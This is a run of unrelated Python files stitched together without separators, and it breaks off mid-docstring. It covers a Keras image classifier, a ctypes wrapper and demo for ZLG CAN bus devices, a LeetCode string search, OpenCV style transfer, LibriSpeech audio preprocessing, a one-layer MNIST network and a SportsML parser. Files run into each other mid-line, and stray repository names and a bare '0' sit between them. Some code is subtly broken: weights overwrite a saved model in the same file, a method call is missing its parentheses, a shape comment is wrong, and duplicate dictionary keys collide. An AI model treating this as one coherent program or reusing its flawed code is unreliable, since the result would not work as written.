train_datagen = ImageDataGenerator( rescale=1. / 255, shear_range=0.2, zoom_range=0.2, horizontal_flip=True) # this is the augmentation configuration we will use for testing: # only rescaling test_datagen = ImageDataGenerator(rescale=1. / 255) train_generator = train_datagen.flow_from_directory( train_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary') validation_generator = test_datagen.flow_from_directory( validation_data_dir, target_size=(img_width, img_height), batch_size=batch_size, class_mode='binary') model.fit_generator( train_generator, steps_per_epoch=nb_train_samples // batch_size, epochs=epochs, validation_data=validation_generator, validation_steps=nb_validation_samples // batch_size) model.save('train.h5') model.save_weights('train.h5') image_path = './joe-biden.jpg' img = load_img(image_path) # this is a PIL image print(img) array = img_to_array(img) arrayresized = cv2.resize(array, (150,150)) print(arrayresized) # this is a Numpy array with shape (3, 150, 150) inputarray = arrayresized[np.newaxis,...] # dimension added to fit input size prediction = model.predict_proba(inputarray) print(prediction)# -*- coding:utf-8 -*- # zlgcan.py # # ~~~~~~~~~~~~ # # ZLGCAN API # # ~~~~~~~~~~~~ # # ------------------------------------------------------------------ # Author : guochuangjian # Last change: 21.02.2019 # # Language: Python 2.7, 3.6 # ------------------------------------------------------------------ # from ctypes import * import platform ZCAN_DEVICE_TYPE = c_uint INVALID_DEVICE_HANDLE = 0 INVALID_CHANNEL_HANDLE = 0 ''' Device Type ''' ZCAN_PCI5121 = ZCAN_DEVICE_TYPE(1) ZCAN_PCI9810 = ZCAN_DEVICE_TYPE(2) ZCAN_USBCAN1 = ZCAN_DEVICE_TYPE(3) ZCAN_USBCAN2 = ZCAN_DEVICE_TYPE(4) ZCAN_PCI9820 = ZCAN_DEVICE_TYPE(5) ZCAN_CAN232 = ZCAN_DEVICE_TYPE(6) ZCAN_PCI5110 = ZCAN_DEVICE_TYPE(7) ZCAN_CANLITE = ZCAN_DEVICE_TYPE(8) ZCAN_ISA9620 = ZCAN_DEVICE_TYPE(9) ZCAN_ISA5420 = ZCAN_DEVICE_TYPE(10) ZCAN_PC104CAN = ZCAN_DEVICE_TYPE(11) ZCAN_CANETUDP = ZCAN_DEVICE_TYPE(12) ZCAN_CANETE = ZCAN_DEVICE_TYPE(12) ZCAN_DNP9810 = ZCAN_DEVICE_TYPE(13) ZCAN_PCI9840 = ZCAN_DEVICE_TYPE(14) ZCAN_PC104CAN2 = ZCAN_DEVICE_TYPE(15) ZCAN_PCI9820I = ZCAN_DEVICE_TYPE(16) ZCAN_CANETTCP = ZCAN_DEVICE_TYPE(17) ZCAN_PCIE_9220 = ZCAN_DEVICE_TYPE(18) ZCAN_PCI5010U = ZCAN_DEVICE_TYPE(19) ZCAN_USBCAN_E_U = ZCAN_DEVICE_TYPE(20) ZCAN_USBCAN_2E_U = ZCAN_DEVICE_TYPE(21) ZCAN_PCI5020U = ZCAN_DEVICE_TYPE(22) ZCAN_EG20T_CAN = ZCAN_DEVICE_TYPE(23) ZCAN_PCIE9221 = ZCAN_DEVICE_TYPE(24) ZCAN_WIFICAN_TCP = ZCAN_DEVICE_TYPE(25) ZCAN_WIFICAN_UDP = ZCAN_DEVICE_TYPE(26) ZCAN_PCIe9120 = ZCAN_DEVICE_TYPE(27) ZCAN_PCIe9110 = ZCAN_DEVICE_TYPE(28) ZCAN_PCIe9140 = ZCAN_DEVICE_TYPE(29) ZCAN_USBCAN_4E_U = ZCAN_DEVICE_TYPE(31) ZCAN_CANDTU_200UR = ZCAN_DEVICE_TYPE(32) ZCAN_CANDTU_MINI = ZCAN_DEVICE_TYPE(33) ZCAN_USBCAN_8E_U = ZCAN_DEVICE_TYPE(34) ZCAN_CANREPLAY = ZCAN_DEVICE_TYPE(35) ZCAN_CANDTU_NET = ZCAN_DEVICE_TYPE(36) ZCAN_CANDTU_100UR = ZCAN_DEVICE_TYPE(37) ZCAN_PCIE_CANFD_100U = ZCAN_DEVICE_TYPE(38) ZCAN_PCIE_CANFD_200U = ZCAN_DEVICE_TYPE(39) ZCAN_PCIE_CANFD_400U = ZCAN_DEVICE_TYPE(40) ZCAN_USBCANFD_200U = ZCAN_DEVICE_TYPE(41) ZCAN_USBCANFD_100U = ZCAN_DEVICE_TYPE(42) ZCAN_USBCANFD_MINI = ZCAN_DEVICE_TYPE(43) ZCAN_CANFDCOM_100IE = ZCAN_DEVICE_TYPE(44) ZCAN_CANSCOPE = ZCAN_DEVICE_TYPE(45) ZCAN_CLOUD = ZCAN_DEVICE_TYPE(46) ZCAN_CANDTU_NET_400 = ZCAN_DEVICE_TYPE(47) ZCAN_VIRTUAL_DEVICE = ZCAN_DEVICE_TYPE(99) ''' Interface return status ''' ZCAN_STATUS_ERR = 0 ZCAN_STATUS_OK = 1 ZCAN_STATUS_ONLINE = 2 ZCAN_STATUS_OFFLINE = 3 ZCAN_STATUS_UNSUPPORTED = 4 ''' CAN type ''' ZCAN_TYPE_CAN = c_uint(0) ZCAN_TYPE_CANFD = c_uint(1) ''' Device information ''' class ZCAN_DEVICE_INFO(Structure): _fields_ = [("hw_Version", c_ushort), ("fw_Version", c_ushort), ("dr_Version", c_ushort), ("in_Version", c_ushort), ("irq_Num", c_ushort), ("can_Num", c_ubyte), ("str_Serial_Num", c_ubyte * 20), ("str_hw_Type", c_ubyte * 40), ("reserved", c_ushort * 4)] def __str__(self): return "Hardware Version:%s\nFirmware Version:%s\nDriver Interface:%s\nInterface Interface:%s\nInterrupt Number:%d\nCAN Number:%d\nSerial:%s\nHardware Type:%s\n" %( \ self.hw_version, self.fw_version, self.dr_version, self.in_version, self.irq_num, self.can_num, self.serial, self.hw_type) def _version(self, version): return ("V%02x.%02x" if version // 0xFF >= 9 else "V%d.%02x") % (version // 0xFF, version & 0xFF) @property def hw_version(self): return self._version(self.hw_Version) @property def fw_version(self): return self._version(self.fw_Version) @property def dr_version(self): return self._version(self.dr_Version) @property def in_version(self): return self._version(self.in_Version) @property def irq_num(self): return self.irq_Num @property def can_num(self): return self.can_Num @property def serial(self): serial = '' for c in self.str_Serial_Num: if c > 0: serial += chr(c) else: break return serial @property def hw_type(self): hw_type = '' for c in self.str_hw_Type: if c > 0: hw_type += chr(c) else: break return hw_type class _ZCAN_CHANNEL_CAN_INIT_CONFIG(Structure): _fields_ = [("acc_code", c_uint), ("acc_mask", c_uint), ("reserved", c_uint), ("filter", c_ubyte), ("timing0", c_ubyte), ("timing1", c_ubyte), ("mode", c_ubyte)] class _ZCAN_CHANNEL_CANFD_INIT_CONFIG(Structure): _fields_ = [("acc_code", c_uint), ("acc_mask", c_uint), ("abit_timing", c_uint), ("dbit_timing", c_uint), ("brp", c_uint), ("filter", c_ubyte), ("mode", c_ubyte), ("pad", c_ushort), ("reserved", c_uint)] class _ZCAN_CHANNEL_INIT_CONFIG(Union): _fields_ = [("can", _ZCAN_CHANNEL_CAN_INIT_CONFIG), ("canfd", _ZCAN_CHANNEL_CANFD_INIT_CONFIG)] class ZCAN_CHANNEL_INIT_CONFIG(Structure): _fields_ = [("can_type", c_uint), ("config", _ZCAN_CHANNEL_INIT_CONFIG)] class ZCAN_CHANNEL_ERR_INFO(Structure): _fields_ = [("error_code", c_uint), ("passive_ErrData", c_ubyte * 3), ("arLost_ErrData", c_ubyte)] class ZCAN_CHANNEL_STATUS(Structure): _fields_ = [("errInterrupt", c_ubyte), ("regMode", c_ubyte), ("regStatus", c_ubyte), ("regALCapture", c_ubyte), ("regECCapture", c_ubyte), ("regEWLimit", c_ubyte), ("regRECounter", c_ubyte), ("regTECounter", c_ubyte), ("Reserved", c_ubyte)] class ZCAN_CAN_FRAME(Structure): _fields_ = [("can_id", c_uint, 29), ("err", c_uint, 1), ("rtr", c_uint, 1), ("eff", c_uint, 1), ("can_dlc", c_ubyte), ("__pad", c_ubyte), ("__res0", c_ubyte), ("__res1", c_ubyte), ("data", c_ubyte * 8)] class ZCAN_CANFD_FRAME(Structure): _fields_ = [("can_id", c_uint, 29), ("err", c_uint, 1), ("rtr", c_uint, 1), ("eff", c_uint, 1), ("len", c_ubyte), ("brs", c_ubyte, 1), ("esi", c_ubyte, 1), ("__res", c_ubyte, 6), ("__res0", c_ubyte), ("__res1", c_ubyte), ("data", c_ubyte * 64)] class ZCAN_Transmit_Data(Structure): _fields_ = [("frame", ZCAN_CAN_FRAME), ("transmit_type", c_uint)] class ZCAN_Receive_Data(Structure): _fields_ = [("frame", ZCAN_CAN_FRAME), ("timestamp", c_ulonglong)] class ZCAN_TransmitFD_Data(Structure): _fields_ = [("frame", ZCAN_CANFD_FRAME), ("transmit_type", c_uint)] class ZCAN_ReceiveFD_Data(Structure): _fields_ = [("frame", ZCAN_CANFD_FRAME), ("timestamp", c_ulonglong)] class ZCAN_AUTO_TRANSMIT_OBJ(Structure): _fields_ = [("enable", c_ushort), ("index", c_ushort), ("interval", c_uint), ("obj", ZCAN_Transmit_Data)] class ZCANFD_AUTO_TRANSMIT_OBJ(Structure): _fields_ = [("enable", c_ushort), ("index", c_ushort), ("interval", c_uint), ("obj", ZCAN_TransmitFD_Data)] class IProperty(Structure): _fields_ = [("SetValue", c_void_p), ("GetValue", c_void_p), ("GetPropertys", c_void_p)] class ZCAN(object): def __init__(self): if platform.system() == "Windows": self.__dll = windll.LoadLibrary("zlgcan.dll") else: print("No support now!") if self.__dll == None: print("DLL couldn't be loaded!") def OpenDevice(self, device_type, device_index, reserved): try: return self.__dll.ZCAN_OpenDevice(device_type, device_index, reserved) except: print("Exception on OpenDevice!") raise def CloseDevice(self, device_handle): try: return self.__dll.ZCAN_CloseDevice(device_handle) except: print("Exception on CloseDevice!") raise def GetDeviceInf(self, device_handle): try: info = ZCAN_DEVICE_INFO() ret = self.__dll.ZCAN_GetDeviceInf(device_handle, byref(info)) return info if ret == ZCAN_STATUS_OK else None except: print("Exception on ZCAN_GetDeviceInf") raise def DeviceOnLine(self, device_handle): try: return self.__dll.ZCAN_IsDeviceOnLine(device_handle) except: print("Exception on ZCAN_ZCAN_IsDeviceOnLine!") raise def InitCAN(self, device_handle, can_index, init_config): try: return self.__dll.ZCAN_InitCAN(device_handle, can_index, byref(init_config)) except: print("Exception on ZCAN_InitCAN!") raise def StartCAN(self, chn_handle): try: return self.__dll.ZCAN_StartCAN(chn_handle) except: print("Exception on ZCAN_StartCAN!") raise def ResetCAN(self, chn_handle): try: return self.__dll.ZCAN_ResetCAN(chn_handle) except: print("Exception on ZCAN_ResetCAN!") raise def ClearBuffer(self, chn_handle): try: return self.__dll.ZCAN_ClearBuffer(chn_handle) except: print("Exception on ZCAN_ClearBuffer!") raise def ReadChannelErrInfo(self, chn_handle): try: ErrInfo = ZCAN_CHANNEL_ERR_INFO() ret = self.__dll.ZCAN_ReadChannelErrInfo(chn_handle, byref(ErrInfo)) return ErrInfo if ret == ZCAN_STATUS_OK else None except: print("Exception on ZCAN_ReadChannelErrInfo!") raise def ReadChannelStatus(self, chn_handle): try: status = ZCAN_CHANNEL_STATUS() ret = self.__dll.ZCAN_ReadChannelStatus(chn_handle, byref(status)) return status if ret == ZCAN_STATUS_OK else None except: print("Exception on ZCAN_ReadChannelStatus!") raise def GetReceiveNum(self, chn_handle, can_type = ZCAN_TYPE_CAN): try: return self.__dll.ZCAN_GetReceiveNum(chn_handle, can_type) except: print("Exception on ZCAN_GetReceiveNum!") raise def Transmit(self, chn_handle, std_msg, len): try: return self.__dll.ZCAN_Transmit(chn_handle, byref(std_msg), len) except: print("Exception on ZCAN_Transmit!") raise def Receive(self, chn_handle, rcv_num, wait_time = c_int(-1)): try: rcv_can_msgs = (ZCAN_Receive_Data * rcv_num)() ret = self.__dll.ZCAN_Receive(chn_handle, byref(rcv_can_msgs), rcv_num, wait_time) return rcv_can_msgs, ret except: print("Exception on ZCAN_Receive!") raise def TransmitFD(self, chn_handle, fd_msg, len): try: return self.__dll.ZCAN_TransmitFD(chn_handle, byref(fd_msg), len) except: print("Exception on ZCAN_TransmitFD!") raise def ReceiveFD(self, chn_handle, rcv_num, wait_time = c_int(-1)): try: rcv_canfd_msgs = (ZCAN_ReceiveFD_Data * rcv_num)() ret = self.__dll.ZCAN_ReceiveFD(chn_handle, byref(rcv_canfd_msgs), rcv_num, wait_time) return rcv_canfd_msgs, ret except: print("Exception on ZCAN_ReceiveFD!") raise def GetIProperty(self, device_handle): try: self.__dll.GetIProperty.restype = POINTER(IProperty) return self.__dll.GetIProperty(device_handle) except: print("Exception on ZCAN_GetIProperty!") raise def SetValue(self, iproperty, path, value): try: func = CFUNCTYPE(c_uint, c_char_p, c_char_p)(iproperty.contents.SetValue) return func(c_char_p(path.encode("utf-8")), c_char_p(value.encode("utf-8"))) except: print("Exception on IProperty SetValue") raise def GetValue(self, iproperty, path): try: func = CFUNCTYPE(c_char_p, c_char_p)(iproperty.contents.GetValue) return func(c_char_p(path.encode)) except: print("Exception on IProperty GetValue") raise def ReleaseIProperty(self, iproperty): try: return self.__dll.ReleaseIProperty(iproperty) except: print("Exception on ZCAN_ReleaseIProperty!") raise ############################################################################### ''' USBCANFD-MINI Demo def can_start(zcanlib, device_handle, chn): ip = zcanlib.GetIProperty(device_handle) ret = zcanlib.SetValue(ip, str(chn) + "/clock", "60000000") if ret != ZCAN_STATUS_OK: print("Set CH%d CANFD clock failed!" %(chn)) ret = zcanlib.SetValue(ip, str(chn) + "/canfd_standard", "0") if ret != ZCAN_STATUS_OK: print("Set CH%d CANFD standard failed!" %(chn)) ret = zcanlib.SetValue(ip, str(chn) + "/initenal_resistance", "1") if ret != ZCAN_STATUS_OK: print("Open CH%d resistance failed!" %(chn)) zcanlib.ReleaseIProperty(ip) chn_init_cfg = ZCAN_CHANNEL_INIT_CONFIG() chn_init_cfg.can_type = ZCAN_TYPE_CANFD chn_init_cfg.config.canfd.abit_timing = 101166 #1Mbps chn_init_cfg.config.canfd.dbit_timing = 101166 #1Mbps chn_init_cfg.config.canfd.mode = 0 chn_handle = zcanlib.InitCAN(device_handle, chn, chn_init_cfg) if chn_handle is None: return None zcanlib.StartCAN(chn_handle) return chn_handle if __name__ == "__main__": zcanlib = ZCAN() handle = zcanlib.OpenDevice(ZCAN_USBCANFD_MINI, 0,0) if handle == INVALID_DEVICE_HANDLE: print("Open Device failed!") exit(0) print("device handle:%d." %(handle)) info = zcanlib.GetDeviceInf(handle) print("Device Information:\n%s" %(info)) #Start CAN chn_handle = can_start(zcanlib, handle, 0) print("channel handle:%d." %(chn_handle)) #Send CAN Messages transmit_num = 10 msgs = (ZCAN_Transmit_Data * transmit_num)() for i in range(transmit_num): msgs[i].transmit_type = 2 #Send Self msgs[i].frame.eff = 0 #extern frame msgs[i].frame.rtr = 0 #remote frame msgs[i].frame.can_id = i msgs[i].frame.can_dlc = 8 for j in range(msgs[i].frame.can_dlc): msgs[i].frame.data[j] = j ret = zcanlib.Transmit(chn_handle, msgs, transmit_num) print("Tranmit Num: %d." % ret) #Send CANFD Messages transmit_canfd_num = 10 canfd_msgs = (ZCAN_TransmitFD_Data * transmit_canfd_num)() for i in range(transmit_num): canfd_msgs[i].transmit_type = 2 #Send Self canfd_msgs[i].frame.eff = 0 #extern frame canfd_msgs[i].frame.rtr = 0 #remote frame canfd_msgs[i].frame.brs = 1 #BRS canfd_msgs[i].frame.can_id = i canfd_msgs[i].frame.len = 8 for j in range(canfd_msgs[i].frame.len): canfd_msgs[i].frame.data[j] = j ret = zcanlib.TransmitFD(chn_handle, canfd_msgs, transmit_canfd_num) print("Tranmit CANFD Num: %d." % ret) #Receive Messages while True: rcv_num = zcanlib.GetReceiveNum(chn_handle, ZCAN_TYPE_CAN) rcv_canfd_num = zcanlib.GetReceiveNum(chn_handle, ZCAN_TYPE_CANFD) if rcv_num: print("Receive CAN message number:%d" % rcv_num) rcv_msg, rcv_num = zcanlib.Receive(chn_handle, rcv_num) for i in range(rcv_num): print("[%d]:ts:%d, id:%d, dlc:%d, eff:%d, rtr:%d, data:%s" %(i, rcv_msg[i].timestamp, rcv_msg[i].frame.can_id, rcv_msg[i].frame.can_dlc, rcv_msg[i].frame.eff, rcv_msg[i].frame.rtr, ''.join(str(rcv_msg[i].frame.data[j]) + ' ' for j in range(rcv_msg[i].frame.can_dlc)))) elif rcv_canfd_num: print("Receive CANFD message number:%d" % rcv_canfd_num) rcv_canfd_msgs, rcv_canfd_num = zcanlib.ReceiveFD(chn_handle, rcv_canfd_num, 1000) for i in range(rcv_canfd_num): print("[%d]:ts:%d, id:%d, len:%d, eff:%d, rtr:%d, esi:%d, brs: %d, data:%s" %( i, rcv_canfd_msgs[i].timestamp, rcv_canfd_msgs[i].frame.can_id, rcv_canfd_msgs[i].frame.len, rcv_canfd_msgs[i].frame.eff, rcv_canfd_msgs[i].frame.rtr, rcv_canfd_msgs[i].frame.esi, rcv_canfd_msgs[i].frame.brs, ''.join(str(rcv_canfd_msgs[i].frame.data[j]) + ' ' for j in range(rcv_canfd_msgs[i].frame.len)))) else: break #Close CAN zcanlib.ResetCAN(chn_handle) #Close Device zcanlib.CloseDevice(handle) '''""" 58.42% """ class Solution(object): def strStr(self, haystack, needle): """ :type haystack: str :type needle: str :rtype: int """ if haystack is None: return -1 return haystack.find(needle) 0 import cv2 import numpy as np import time def style_transfer(pathIn='', pathOut='', model='', width=None, jpg_quality=80): ''' pathIn: 原始图片的路径 pathOut: 风格化图片的保存路径 model: 预训练模型的路径 width: 设置风格化图片的宽度，默认为None, 即原始图片尺寸 jpg_quality: 0-100，设置输出图片的质量，默认80，越大图片质量越好 ''' ## 读入原始图片，调整图片至所需尺寸，然后获取图片的宽度和高度 img = cv2.imread(pathIn) (h, w) = img.shape[:2] if width is not None: img = cv2.resize(img, (width, round(width*h/w)), interpolation=cv2.INTER_CUBIC) (h, w) = img.shape[:2] ## 从本地加载预训练模型 print('加载预训练模型......') net = cv2.dnn.readNetFromTorch(model) ## 将图片构建成一个blob：设置图片尺寸，将各通道像素值减去平均值（比如ImageNet所有训练样本各通道统计平均值） ## 然后执行一次前馈网络计算，并输出计算所需的时间 blob = cv2.dnn.blobFromImage(img, 1.0, (w, h), (103.939, 116.779, 123.680), swapRB=False, crop=False) net.setInput(blob) start = time.time() output = net.forward() end = time.time() print("风格迁移花费：{:.2f}秒".format(end - start)) ## reshape输出结果, 将减去的平均值加回来，并交换各颜色通道 output = output.reshape((3, output.shape[2], output.shape[3])) output[0] += 103.939 output[1] += 116.779 output[2] += 123.680 output = output.transpose(1, 2, 0) ## 输出风格化后的图片 cv2.imwrite(pathOut, output, [int(cv2.IMWRITE_JPEG_QUALITY), jpg_quality]) style_transfer('sunflower.jpg', 'sunflower-transfered.jpg', '\models\instance_norm\candy.t7') from pydub import AudioSegment import os import numpy as np from tqdm import tqdm from joblib import Parallel, delayed from python_speech_features import logfbank import scipy.io.wavfile as wav import argparse parser = argparse.ArgumentParser(description='Librispeech preprocess.') parser.add_argument('root', metavar='root', type=str, help='file path to LibriSpeech. (e.g. /usr/downloads/LibriSpeech/)') parser.add_argument('sets', metavar='sets', type=str, nargs='+', help='Datasets to process in LibriSpeech. (e.g. train-clean-100/)') parser.add_argument('--n_jobs', dest='n_jobs', action='store', default=-2 , help='number of cpu availible for preprocessing.\n -1: use all cpu, -2: use all cpu but one') parser.add_argument('--n_filters', dest='n_filters', action='store', default=40 , help='number of filters for fbank. (Default : 40)') parser.add_argument('--win_size', dest='win_size', action='store', default=0.01 , help='window size during feature extraction (Default : 0.01 [10ms])') parser.add_argument('--char_map', dest='char_map', action='store', default=None , help='Character2Index mapping file, generated during training data preprocessing. Specify this argument when processing dev/test data.') paras = parser.parse_args() root = paras.root libri_path = paras.sets n_jobs = paras.n_jobs n_filters = paras.n_filters win_size = paras.win_size char_map_path = paras.char_map # # flac 2 wav def flac2wav(f_path): flac_audio = AudioSegment.from_file(f_path, "flac") flac_audio.export(f_path[:-5]+'.wav', format="wav") print('Processing flac2wav...',flush=True) print(flush=True) file_list = [] for p in libri_path: p = root + p for sub_p in sorted(os.listdir(p)): for sub2_p in sorted(os.listdir(p+sub_p+'/')): for file in sorted(os.listdir(p+sub_p+'/'+sub2_p)): if '.flac' in file: file_path = p+sub_p+'/'+sub2_p+'/'+file file_list.append(file_path) results = Parallel(n_jobs=n_jobs,backend="threading")(delayed(flac2wav)(i) for i in tqdm(file_list)) print('done') # # wav 2 log-mel fbank def wav2logfbank(f_path): (rate,sig) = wav.read(f_path) fbank_feat = logfbank(sig,rate,winlen=win_size,nfilt=n_filters) np.save(f_path[:-3]+'fb'+str(n_filters),fbank_feat) print('Processing wav2logfbank...',flush=True) print(flush=True) results = Parallel(n_jobs=n_jobs,backend="threading")(delayed(wav2logfbank)(i[:-4]+'wav') for i in tqdm(file_list)) print('done') # # log-mel fbank 2 feature print('Preparing dataset...',flush=True) file_list = [] text_list = [] for p in libri_path: p = root + p for sub_p in sorted(os.listdir(p)): for sub2_p in sorted(os.listdir(p+sub_p+'/')): # Read trans txt with open(p+sub_p+'/'+sub2_p+'/'+sub_p+'-'+sub2_p+'.trans.txt','r') as txt_file: for line in txt_file: text_list.append(' '.join(line[:-1].split(' ')[1:])) # Read acoustic feature for file in sorted(os.listdir(p+sub_p+'/'+sub2_p)): if '.fb'+str(n_filters) in file: file_path = p+sub_p+'/'+sub2_p+'/'+file file_list.append(file_path) X = [] for f in file_list: X.append(np.load(f)) audio_len = [len(x) for x in X] # Sort data by signal length (long to short) file_list = [file_list[idx] for idx in reversed(np.argsort(audio_len))] text_list = [text_list[idx] for idx in reversed(np.argsort(audio_len))] if char_map_path: # Load char mapping char_map = {} with open(char_map_path,'r') as f: for line in f: if 'idx,char' in line: continue idx = int(line.split(',')[0]) char = line[:-1].split(',')[1] char_map[char] = idx else: assert 'train' in libri_path[0] # Create char mapping char_map = {} char_map[''] = 0 char_map[''] = 1 char_idx = 2 # map char to index for text in text_list: for char in text: if char not in char_map: char_map[char] = char_idx char_idx +=1 # Reverse mapping rev_char_map = {v:k for k,v in char_map.items()} # Save mapping with open(root+'idx2chap.csv','w') as f: f.write('idx,char\n') for i in range(len(rev_char_map)): f.write(str(i)+','+rev_char_map[i]+'\n') # text to index sequence tmp_list = [] for text in text_list: tmp = [] for char in text: tmp.append(char_map[char]) tmp_list.append(tmp) text_list = tmp_list del tmp_list # write dataset if 'train' in libri_path[0]: file_name = 'train.csv' elif 'test' in libri_path[0]: file_name = 'test.csv' elif 'dev' in libri_path[0]: file_name = 'dev.csv' print('Writing dataset to'+root+file_name+'...',flush=True) with open(root+file_name,'w') as f: f.write('idx,input,label\n') for i in range(len(file_list)): f.write(str(i)+',') f.write(file_list[i]+',') for char in text_list[i]: f.write(' '+str(char)) f.write('\n') print('done') aswna/digits #!/usr/bin/env python3 """This is going to be the Python implementation of https://mmlind.github.io/Simple_1-Layer_Neural_Network_for_MNIST_Handwriting_Recognition/ using Genetic Algorithms in the background. Note: download and extract data files from http://yann.lecun.com/exdb/mnist/ train-images-idx3-ubyte.gz: training set images (9912422 bytes) train-labels-idx1-ubyte.gz: training set labels (28881 bytes) t10k-images-idx3-ubyte.gz: test set images (1648877 bytes) t10k-labels-idx1-ubyte.gz: test set labels (4542 bytes) See also: https://github.com/mmlind/mnist-1lnn/ """ import os import pickle import random from collections import namedtuple from mnist_utils import print_image from mnist_utils import read_image_file from mnist_utils import read_label_file LEARNING_RATE = 0.05 class Cell: def __init__(self): self.weight = self._get_init_weight() # 28x28 self.size = len(self.weight) self.output = 0 # range: [0, 1] def __str__(self): # TODO: this is a dummy implementation for testing return "weight = {}".format(self.weight[300]) @staticmethod def _get_init_weight(): # TODO: use header.imgHeight * header.imgWidth return [random.uniform(0, 1) for x in range(28*28)] Layer = namedtuple( "Layer", [ "cells", # 10 (for the digits 0-9) ] ) def main(): trained_layer = train_layer() test_layer(trained_layer) def train_layer(): pickle_filename = "nn_trained_layer.dat" trained_layer = None if os.path.isfile(pickle_filename): print("Found pickle file: {}".format(pickle_filename)) with open(pickle_filename, "rb") as file_obj: trained_layer = pickle.load(file_obj) else: print("Could not find pickle file: {}".format(pickle_filename)) initial_layer = init_layer() train_images = read_image_file("./train-images-idx3-ubyte") train_labels = read_label_file("./train-labels-idx1-ubyte") trained_layer = use_layer(initial_layer, train_images, train_labels, train=True) with open(pickle_filename, "wb") as file_obj: pickle.dump(trained_layer, file_obj) return trained_layer def test_layer(trained_layer): test_images = read_image_file("./t10k-images-idx3-ubyte") test_labels = read_label_file("./t10k-labels-idx1-ubyte") use_layer(trained_layer, test_images, test_labels, train=False) def use_layer(layer, images, labels, train=False): error_count = 0 for index, (image, label) in enumerate(zip(images, labels)): target_output = get_target_output(label) for cell, target in zip(layer.cells, target_output): calc_cell_output(cell, image) if train: train_cell(cell, image, target) predicted_number = get_layer_prediction(layer) if predicted_number != label.value: error_count += 1 if error_count % 100 == 0: print("Prediction: {}, actual: {}, " "success rate: {:.02} (error count: {}) " "at {} image {}".format( predicted_number, label.value, (1 - error_count / (index + 1)), error_count, 'training' if train else 'testing', index) ) print_image(image.pixels) print("Overall success rate: {:.02} " "(error count: {}, image count: {}) [{}]" .format( (1 - error_count / (len(images))), error_count, len(images), 'train' if train else 'test') ) return layer def get_target_output(label): # print("label = {}, value = {}".format(label, label.value)) """Create target vector according to target number.""" return [1 if x == label.value else 0 for x in range(10)] def train_cell(cell, image, target): error = get_cell_error(cell, target) update_cell_weights(cell, image, error) def calc_cell_output(cell, image): cell.output = 0 for i in range(cell.size): cell.output += image.bw_pixels[i] * cell.weight[i] cell.output /= cell.size # normalize output [0, 1] def get_cell_error(cell, target): # target: 0 or 1 return target - cell.output def update_cell_weights(cell, image, error): for i in range(cell.size): cell.weight[i] += LEARNING_RATE * (image.pixels[i] / 255) * error def get_layer_prediction(layer): max_output = 0 index_of_cell_with_max_output = 0 for i in range(len(layer.cells)): if layer.cells[i].output > max_output: max_output = layer.cells[i].output index_of_cell_with_max_output = i return index_of_cell_with_max_output # TODO: show second most probable prediction def init_layer(): cells = [Cell() for x in range(10)] return Layer(cells) if __name__ == "__main__": main() bquinn/python-sportsml #!/usr/bin/env python import xml.etree.ElementTree as etree import json from .core import NEWSMLG2_NS, BaseObject, GenericArray from .base_metadata import CommonAttributes class TimeValidityAttributes(BaseObject): def __init__(self, **kwargs): super(TimeValidityAttributes, self).__init__(**kwargs) # TODO pass def as_dict(self): super(TimeValidityAttributes, self).as_dict() # TODO return self.dict class IntlStringType(BaseObject): # TODO pass class ConceptNameType(TimeValidityAttributes, IntlStringType): """ The type of a natural language name for the concept (Type defined in this XML Schema only) """ name = None attributes = { # A refinement of the semantics of the name - expressed by a QCode 'role': 'role', # A refinement of the semantics of the name - expressed by a URI 'roleuri': 'roleuri', # Specifies which part of a full name this property provides - expressed by a QCode 'part': 'part', # Specifies which part of a full name this property provides - expressed by a URI 'parturi': 'parturi' } def __init__(self, **kwargs): super(ConceptNameType, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.name = xmlelement.text name_role_mappings = { 'nrol:full': 'full', 'nrol:first': 'given', 'nrol:last': 'family', 'nrol:mnemonic': 'mnemonic', 'nprt:common': 'alternate', 'nprt:nickname': 'nickname', } def as_dict(self): super(ConceptNameType, self).as_dict() # the only place where we diverge from a direct match with the SportsML role = self.attr_values.get('role', None) part = self.attr_values.get('part', None) if role and role in self.name_role_mappings.keys(): self.dict.update({ self.name_role_mappings[role]: self.name }) del self.dict['role'] elif part and part in self.name_role_mappings.keys(): self.dict.update({ self.name_role_mappings[part]: self.name }) del self.dict['part'] elif self.name: self.dict.update({'name': self.name}) return self.dict class Names(GenericArray): """ Array of ConceptNameType objects. """ element_class = ConceptNameType class FlexAttributes(BaseObject): pass class CommonPowerAttributes(BaseObject): """ A group of attributes for all elements of a G2 Item except its root element, the itemMeta element and all of its children which are mandatory. """ attributes = { # The local identifier of the property. 'id': 'id', # If the attribute is empty, specifies which entity (person, # organisation or system) will edit the property - expressed by a # QCode. If the attribute is non-empty, specifies which entity # (person, organisation or system) has edited the property. 'creator': 'creator', # If the attribute is empty, specifies which entity (person, # organisation or system) will edit the property - expressed by a # URI. If the attribute is non-empty, specifies which entity # (person, organisation or system) has edited the property. 'creatoruri': 'creatoruri', # The date (and, optionally, the time) when the property was last # modified. The initial value is the date (and, optionally, the # time) of creation of the property. 'modified': 'modified', # If set to true the corresponding property was added to the G2 # Item for a specific customer or group of customers only. The # default value of this property is false which applies when this # attribute is not used with the property. 'custom': 'custom', # Indicates by which means the value was extracted from the # content - expressed by a QCode 'how': 'how', # Indicates by which means the value was extracted from the # content - expressed by a URI 'howuri': 'howuri', # Why the metadata has been included - expressed by a QCode 'why': 'why', # Why the metadata has been included - expressed by a URI 'whyuri': 'whyuri', # One or many constraints that apply to publishing the value of # the property - expressed by a QCode. Each constraint applies # to all descendant elements. 'pubconstraint': 'pubconstraint', # One or many constraints that apply to publishing the value of # the property - expressed by a URI. Each constraint applies to # all descendant elements. 'pubconstrainturi': 'pubconstrainturi' } class I18NAttributes(BaseObject): """ A group of attributes for language and script related information """ attributes = { # Specifies the language of this property and potentially all # descendant properties. xml:lang values of descendant properties # override this value. Values are determined by Internet BCP 47. 'xml:lang': 'xmlLang', # The directionality of textual content # (enumeration: ltr, rtl) 'dir': 'dir' } class TruncatedDateTimeType(CommonPowerAttributes): """ The type of a calendar date with an optional time part which may be truncated from the second part to the month part XSD definition: """ # store name of the tag used, this can vary element_name = None # value of the date-time date_time = None def __init__(self, **kwargs): super(TruncatedDateTimeType, self).__init__(**kwargs) xmlelement = kwargs.get('xmlelement') if type(xmlelement) == etree.Element: self.element_name = xmlelement.tag self.date_time = xmlelement.text def as_dict(self): super(TruncatedDateTimeType, self).as_dict() # TODO maybe: convert tag name/element name into camelCase? self.dict.update({self.element_name: self.date_time }) return self.dict class TruncatedDateTimePropType(CommonPowerAttributes): """ The type of a 